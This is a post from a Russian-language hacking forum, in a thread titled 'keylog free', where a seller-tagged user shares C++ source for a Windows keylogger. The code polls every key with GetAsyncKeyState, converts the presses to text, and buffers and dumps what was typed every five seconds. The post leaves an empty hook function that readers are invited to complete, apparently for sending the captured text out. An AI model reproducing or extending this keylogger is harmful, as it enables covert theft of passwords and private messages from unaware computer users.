• XSS.stack #1 – первый литературный журнал от юзеров форума

keylog free

MrBang

(L3) cache
Seller
Регистрация
11.09.2023
Сообщения
266
Реакции
93
Гарант сделки
7
Тэккксс продолжаем фигнестрадание :D
Далее допиливаем как желаем.
C++:
#include <iostream>
#include <windows.h>
#include <string>

void youfunction() {

}

int WINAPI WinMain(
    _In_ HINSTANCE hInstance,
    _In_opt_ HINSTANCE hPrevInstance,
    _In_ LPSTR     lpCmdLine,
    _In_ int       nCmdShow
) {
    std::string pressbuf = "";
    bool keys[256];
    DWORD startTime = GetTickCount();

    for (int i = 0; i < 256; i++) {
        keys[i] = false;
    }

    while (true) {
        BYTE keyboardState[256];
        GetKeyboardState(keyboardState);

        if (GetAsyncKeyState(VK_SHIFT) & 0x8000) {
            keyboardState[VK_SHIFT] |= 0x80;
        }
        else {
            keyboardState[VK_SHIFT] &= ~0x80;
        }

        for (int i = 0; i < 256; i++) {
            if (i == VK_LBUTTON || i == VK_RBUTTON || i == VK_MBUTTON || i == VK_XBUTTON1 || i == VK_XBUTTON2) {
                continue;
            }

            if (GetAsyncKeyState(i) & 0x8000) {
                if (keys[i] == false) {
                    WCHAR buffer[5];
                    int unicodeResult = ToUnicode(i, 0, keyboardState, buffer, sizeof(buffer) / sizeof(WCHAR), 0);
                    if (unicodeResult == 1) {
                        pressbuf += buffer[0];
                    }

                    keys[i] = true;
                }
            }
            else {
                keys[i] = false;
            }
        }

        // We check if 5 seconds have passed
        if (GetTickCount() - startTime >= 5000) {
            std::cout << "All entered text in the last 5 seconds: " << pressbuf << std::endl;
            youfunction();
            pressbuf.clear(); // Cleaning the buffer after the output
            startTime = GetTickCount(); // Initial update
        }

        Sleep(10);
    }

    return 0;
}
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх